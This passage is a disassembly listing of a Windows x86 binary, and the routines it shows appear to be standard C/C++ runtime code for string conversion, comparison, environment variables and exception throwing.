		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_4204D6:				; CODE XREF: sub_420309+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_420572
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, ds:dword_422134
		call	esi	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_420572
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi	; MultiByteToWideChar
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_420572
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_415D00
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_420541
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_420541:				; CODE XREF: sub_420309+224j
		cmp	edi, ebx
		jz	short loc_420572
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_422134	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_420572
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_422008	; CompareStringW
		jmp	short loc_420574
; ---------------------------------------------------------------------------


loc_420572:				; CODE XREF: sub_420309+63j
					; sub_420309+C6j ...
		xor	eax, eax


loc_420574:				; CODE XREF: sub_420309+BFj
					; sub_420309+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420309	endp


; =============== S U B	R O U T	I N E =======================================



sub_420586	proc near		; CODE XREF: sub_41C829+81p
					; sub_420309+7Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		test	edx, edx
		push	esi
		lea	ecx, [edx-1]
		jz	short loc_4205A3


loc_420596:				; CODE XREF: sub_420586+1Bj
		cmp	byte ptr [eax],	0
		jz	short loc_4205A3
		inc	eax
		mov	esi, ecx
		dec	ecx
		test	esi, esi
		jnz	short loc_420596


loc_4205A3:				; CODE XREF: sub_420586+Ej
					; sub_420586+13j
		cmp	byte ptr [eax],	0
		pop	esi
		jnz	short loc_4205AE
		sub	eax, [esp+arg_0]
		retn
; ---------------------------------------------------------------------------


loc_4205AE:				; CODE XREF: sub_420586+21j
		mov	eax, edx
		retn
sub_420586	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4205B1	proc near		; CODE XREF: sub_42029B+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_420615
		push	3Dh
		push	[ebp+arg_0]
		call	sub_4207F7
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_420615
		cmp	[ebp+arg_0], esi
		jz	short loc_420615
		mov	eax, ds:dword_4C90AC
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, ds:dword_4C90B0
		jnz	short loc_4205FB
		push	eax
		call	sub_420790
		pop	ecx
		mov	ds:dword_4C90AC, eax


loc_4205FB:				; CODE XREF: sub_4205B1+3Cj
		cmp	eax, edi
		jnz	short loc_420653
		cmp	[ebp+arg_4], edi
		jz	short loc_42061D
		cmp	ds:dword_4C90B4, edi
		jz	short loc_42061D
		call	sub_42029B
		test	eax, eax
		jz	short loc_420653


loc_420615:				; CODE XREF: sub_4205B1+Dj
					; sub_4205B1+22j ...
		or	eax, 0FFFFFFFFh


loc_420618:				; CODE XREF: sub_4205B1+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_42061D:				; CODE XREF: sub_4205B1+51j
					; sub_4205B1+59j
		cmp	ebx, edi
		jnz	loc_420731
		push	4
		call	sub_415D2F
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_4C90AC, eax
		jz	short loc_420615
		mov	[eax], edi
		cmp	ds:dword_4C90B4, edi
		jnz	short loc_420653
		push	4
		call	sub_415D2F
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_4C90B4, eax
		jz	short loc_420615
		mov	[eax], edi


loc_420653:				; CODE XREF: sub_4205B1+4Cj
					; sub_4205B1+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, ds:dword_4C90AC
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_420738
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_4206B3
		cmp	dword ptr [edi], 0
		jz	short loc_4206B3
		test	ebx, ebx
		jz	short loc_4206AB
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_415DE1
		pop	ecx


loc_420685:				; CODE XREF: sub_4205B1+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_420695
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_420685
; ---------------------------------------------------------------------------


loc_420695:				; CODE XREF: sub_4205B1+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41756F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4206E5
		jmp	short loc_4206E0
; ---------------------------------------------------------------------------


loc_4206AB:				; CODE XREF: sub_4205B1+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_4206E5
; ---------------------------------------------------------------------------


loc_4206B3:				; CODE XREF: sub_4205B1+BDj
					; sub_4205B1+C2j
		test	ebx, ebx
		jnz	short loc_420731
		test	esi, esi
		jge	short loc_4206BD
		neg	esi


loc_4206BD:				; CODE XREF: sub_4205B1+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41756F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420615
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_4206E0:				; CODE XREF: sub_4205B1+F8j
		mov	ds:dword_4C90AC, eax


loc_4206E5:				; CODE XREF: sub_4205B1+F6j
					; sub_4205B1+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_420731
		push	[ebp+arg_0]
		call	sub_415C80
		inc	eax
		inc	eax
		push	eax
		call	sub_415D2F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_420731
		push	[ebp+arg_0]
		push	esi
		call	sub_415B90
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	ds:dword_422004	; SetEnvironmentVariableA
		push	esi
		call	sub_415DE1
		pop	ecx


loc_420731:				; CODE XREF: sub_4205B1+6Ej
					; sub_4205B1+104j ...
		xor	eax, eax
		jmp	loc_420618
sub_4205B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_420738	proc near		; CODE XREF: sub_4205B1+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ds:dword_4C90AC
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_420773
		mov	edi, [esp+8+arg_4]


loc_42074A:				; CODE XREF: sub_420738+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_42025C
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420769
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_420783
		test	al, al
		jz	short loc_420783


loc_420769:				; CODE XREF: sub_420738+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_42074A


loc_420773:				; CODE XREF: sub_420738+Cj
		mov	eax, esi
		sub	eax, ds:dword_4C90AC
		sar	eax, 2
		neg	eax


loc_420780:				; CODE XREF: sub_420738+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420783:				; CODE XREF: sub_420738+2Bj
					; sub_420738+2Fj
		mov	eax, esi
		sub	eax, ds:dword_4C90AC
		sar	eax, 2
		jmp	short loc_420780
sub_420738	endp


; =============== S U B	R O U T	I N E =======================================



sub_420790	proc near		; CODE XREF: sub_4205B1+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_42079F
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42079F:				; CODE XREF: sub_420790+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_4207B1


loc_4207A7:				; CODE XREF: sub_420790+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_4207A7


loc_4207B1:				; CODE XREF: sub_420790+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_415D2F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_4207D2
		push	9
		call	sub_417DFA
		pop	ecx


loc_4207D2:				; CODE XREF: sub_420790+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_4207D6:				; CODE XREF: sub_420790+5Bj
		test	eax, eax
		jz	short loc_4207ED
		push	eax
		add	ebx, 4
		call	sub_42086A
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_4207D6
; ---------------------------------------------------------------------------


loc_4207ED:				; CODE XREF: sub_420790+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_420790	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4207F7	proc near		; CODE XREF: sub_4205B1+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_4CA4DC, 0
		jnz	short loc_420812
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_417070
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420812:				; CODE XREF: sub_4207F7+Aj
		mov	ecx, [ebp+arg_0]


loc_420815:				; CODE XREF: sub_4207F7+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_420858
		movzx	edx, al
		test	ds:byte_4CA5E1[edx], 4
		jz	short loc_420844
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_42084F
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_420853
		jmp	short loc_42084C
; ---------------------------------------------------------------------------


loc_420844:				; CODE XREF: sub_4207F7+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_420858


loc_42084C:				; CODE XREF: sub_4207F7+4Bj
		inc	ecx
		jmp	short loc_420815
; ---------------------------------------------------------------------------


loc_42084F:				; CODE XREF: sub_4207F7+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420853:				; CODE XREF: sub_4207F7+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420858:				; CODE XREF: sub_4207F7+25j
					; sub_4207F7+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_4207F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_42086A	proc near		; CODE XREF: sub_408E1D+21p
					; sub_420790+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_420891
		push	esi
		call	sub_415C80
		inc	eax
		push	eax
		call	sub_415D2F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_420891
		push	esi
		push	eax
		call	sub_415B90
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_420891:				; CODE XREF: sub_42086A+7j
					; sub_42086A+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_42086A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4208A0	proc near		; CODE XREF: sub_420983+19p
					; sub_420AAA+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_415C80
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_403870
		mov	eax, esi
		pop	esi
		retn	8
sub_4208A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208CA	proc near		; CODE XREF: _0:004208F5p
					; sub_420978+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_422C8C
		call	sub_403834
		mov	ecx, esi
		pop	esi
		jmp	sub_420CC0
sub_4208CA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208E5	proc near		; DATA XREF: _1:00422C90o _1:00422CA0o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4208F1
		mov	eax, offset dword_422278

locret_4208F1:				; CODE XREF: sub_4208E5+5j
		retn
sub_4208E5	endp

; ---------------------------------------------------------------------------


loc_4208F2:				; DATA XREF: _1:off_422C8Co
		push	esi
		mov	esi, ecx
		call	sub_4208CA
		test	byte ptr [esp+8], 1
		jz	short loc_420908
		push	esi
		call	sub_416457
		pop	ecx


loc_420908:				; CODE XREF: _0:004208FFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_42090E	proc near		; CODE XREF: sub_420983+29p
		mov	eax, offset loc_42123E
		call	sub_416438
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_422CA8
		call	sub_420C39
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_422C8C
		call	sub_4209C0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_422C9C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_42090E	endp


; =============== S U B	R O U T	I N E =======================================



sub_42095C	proc near		; DATA XREF: _1:off_422C9Co

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_420978
		test	[esp+4+arg_0], 1
		jz	short loc_420972
		push	esi
		call	sub_416457
		pop	ecx


loc_420972:				; CODE XREF: sub_42095C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42095C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420978	proc near		; CODE XREF: sub_42095C+3p
					; DATA XREF: _1:00423014o
		mov	dword ptr [ecx], offset	off_422C9C
		jmp	sub_4208CA
sub_420978	endp


; =============== S U B	R O U T	I N E =======================================



sub_420983	proc near		; CODE XREF: sub_4036E1+13p
					; sub_4038A5+Ep
		mov	eax, offset loc_421250
		call	sub_416438
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_4208A0
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_42090E
		push	offset dword_423010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_420CE3
		int	3		; Trap to Debugger
sub_420983	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4209C0	proc near		; CODE XREF: sub_42090E+32p
					; sub_4209E0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_4036E1
		mov	eax, esi
		pop	esi
		retn	4
sub_4209C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4209E0	proc near		; CODE XREF: sub_420AAA+29p
		mov	eax, offset loc_421262
		call	sub_416438
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_422CA8
		call	sub_420C39
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_422C8C
		call	sub_4209C0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4209E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A28	proc near		; CODE XREF: sub_420A92+7p
					; sub_420AEE+7p ...
		mov	eax, offset loc_421274
		call	sub_416438
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_420C76
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_422C8C
		call	sub_4209C0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_420A28	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A6B	proc near		; DATA XREF: _1:off_422CC8o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_420A87
		test	[esp+4+arg_0], 1
		jz	short loc_420A81
		push	esi
		call	sub_416457
		pop	ecx


loc_420A81:				; CODE XREF: sub_420A6B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_420A6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A87	proc near		; CODE XREF: sub_420A6B+3p
					; DATA XREF: _1:004230BCo
		mov	dword ptr [ecx], offset	off_422CC8
		jmp	sub_4208CA
sub_420A87	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A92	proc near		; CODE XREF: sub_420B06+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_420A28
		mov	dword ptr [esi], offset	off_422C9C
		mov	eax, esi
		pop	esi
		retn	4
sub_420A92	endp


; =============== S U B	R O U T	I N E =======================================



sub_420AAA	proc near		; CODE XREF: sub_403631+15p
					; sub_40368A+15p ...
		mov	eax, offset loc_421286
		call	sub_416438
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_4208A0
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4209E0
		push	offset dword_4230B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_422CC8
		call	sub_420CE3
		int	3		; Trap to Debugger
sub_420AAA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_420AEE	proc near		; CODE XREF: sub_420B06+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_420A28
		mov	dword ptr [esi], offset	off_422CC8
		mov	eax, esi
		pop	esi
		retn	4
sub_420AEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B06	proc near		; DATA XREF: _1:00422C94o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_420A28
		push	offset dword_4230F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_420CE3
		int	3		; Trap to Debugger


loc_420B24:				; DATA XREF: _1:00422CD0o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_420AEE
		push	offset dword_4230B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_420CE3
		int	3		; Trap to Debugger


loc_420B42:				; DATA XREF: _1:00422CA4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_420A92
		push	offset dword_423010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_420CE3
		int	3		; Trap to Debugger
sub_420B06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_420B60	proc near		; CODE XREF: sub_402FC3+5Ep
					; sub_403A1B+159p
		jmp	ds:dword_4221FC
sub_420B60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_420B66	proc near		; CODE XREF: sub_4160A4+23p
					; sub_416348+13p
		jmp	ds:dword_422170
sub_420B66	endp


; =============== S U B	R O U T	I N E =======================================



sub_420B6C	proc near		; CODE XREF: sub_4079D8+E2p
					; sub_4079D8+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	ds:dword_4C911C, 0
		push	ebx
		jnz	short loc_420BB2
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_420B7E:				; CODE XREF: sub_420B6C+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_420B90
		cmp	bx, 41h
		jb	short loc_420B90
		add	ebx, 20h


loc_420B90:				; CODE XREF: sub_420B6C+19j
					; sub_420B6C+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_420BA2
		cmp	ax, 41h
		jb	short loc_420BA2
		add	eax, 20h


loc_420BA2:				; CODE XREF: sub_420B6C+2Bj
					; sub_420B6C+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_420BE2
		cmp	bx, ax
		jz	short loc_420B7E
		jmp	short loc_420BE2
; ---------------------------------------------------------------------------


loc_420BB2:				; CODE XREF: sub_420B6C+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_420BBC:				; CODE XREF: sub_420B6C+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_420D1D
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_420D1D
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_420BE0
		cmp	bx, ax
		jz	short loc_420BBC


loc_420BE0:				; CODE XREF: sub_420B6C+6Dj
		pop	edi
		pop	esi


loc_420BE2:				; CODE XREF: sub_420B6C+3Dj
					; sub_420B6C+44j
		movzx	ecx, ax
		movzx	eax, bx
		sub	eax, ecx
		pop	ebx
		retn
sub_420B6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BEC	proc near		; CODE XREF: _0:00420C04p
		mov	dword ptr [ecx], offset	off_422CE8
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_420C00
		push	ecx
		call	sub_415DE1
		pop	ecx

locret_420C00:				; CODE XREF: sub_420BEC+Bj
		retn
sub_420BEC	endp

; ---------------------------------------------------------------------------


loc_420C01:				; DATA XREF: _1:off_422CE8o
		push	esi
		mov	esi, ecx
		call	sub_420BEC
		test	byte ptr [esp+8], 1
		jz	short loc_420C17
		push	esi
		call	sub_416457
		pop	ecx


loc_420C17:				; CODE XREF: _0:00420C0Ej
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_420C1D:				; DATA XREF: _1:off_422CF0o
		push	esi
		mov	esi, ecx
		call	sub_420CC0
		test	byte ptr [esp+8], 1
		jz	short loc_420C33
		push	esi
		call	sub_416457
		pop	ecx


loc_420C33:				; CODE XREF: _0:00420C2Aj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_420C39	proc near		; CODE XREF: sub_42090E+1Dp
					; sub_4209E0+1Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_422CF0
		push	dword ptr [edi]
		call	sub_415C80
		inc	eax
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_420C68
		push	dword ptr [edi]
		push	eax
		call	sub_415B90
		pop	ecx
		pop	ecx


loc_420C68:				; CODE XREF: sub_420C39+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_420C39	endp


; =============== S U B	R O U T	I N E =======================================



sub_420C76	proc near		; CODE XREF: sub_420A28+16p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_422CF0
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_420CB3
		push	dword ptr [edi+4]
		call	sub_415C80
		inc	eax
		push	eax
		call	sub_4167A5
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_420CB9
		push	dword ptr [edi+4]
		push	eax
		call	sub_415B90
		pop	ecx
		pop	ecx
		jmp	short loc_420CB9
; ---------------------------------------------------------------------------


loc_420CB3:				; CODE XREF: sub_420C76+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_420CB9:				; CODE XREF: sub_420C76+2Ej
					; sub_420C76+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_420C76	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CC0	proc near		; CODE XREF: sub_4208CA+16j
					; _0:00420C20p	...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_422CF0
		jz	short locret_420CD5
		push	dword ptr [ecx+4]
		call	sub_416457
		pop	ecx

locret_420CD5:				; CODE XREF: sub_420CC0+Aj
		retn
sub_420CC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_420CD6	proc near		; DATA XREF: _1:00422CF4o
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_420CE2
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_420CE2:				; CODE XREF: sub_420CD6+5j
		retn
sub_420CD6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420CE3	proc near		; CODE XREF: sub_420983+37p
					; sub_420AAA+3Ep ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_422D10
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	ds:dword_4221A4	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_420CE3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D1D	proc near		; CODE XREF: sub_420B6C+56p
					; sub_420B6C+63p

var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	ax, 0FFFFh
		jnz	short loc_420D2F
		or	ax, ax
		leave
		retn
; ---------------------------------------------------------------------------


loc_420D2F:				; CODE XREF: sub_420D1D+Bj
		cmp	ds:dword_4C911C, 0
		jnz	short loc_420D49
		cmp	ax, 41h
		jb	short locret_420D90
		cmp	ax, 5Ah
		ja	short locret_420D90
		add	eax, 20h
		leave
		retn
; ---------------------------------------------------------------------------


loc_420D49:				; CODE XREF: sub_420D1D+19j
		cmp	ax, 100h
		jnb	short loc_420D63
		push	1
		push	eax
		call	sub_420FCB
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420D63
		mov	ax, word ptr [ebp+arg_0]
		leave
		retn
; ---------------------------------------------------------------------------


loc_420D63:				; CODE XREF: sub_420D1D+30j
					; sub_420D1D+3Ej
		push	0
		lea	eax, [ebp+var_2]
		push	1
		push	eax
		lea	eax, [ebp+arg_0]
		push	1
		push	eax
		push	100h
		push	ds:dword_4C911C
		call	sub_420D92
		add	esp, 1Ch
		test	eax, eax
		mov	ax, word ptr [ebp+arg_0]
		jz	short locret_420D90
		mov	ax, [ebp+var_2]

locret_420D90:				; CODE XREF: sub_420D1D+1Fj
					; sub_420D1D+25j ...
		leave
		retn
sub_420D1D	endp


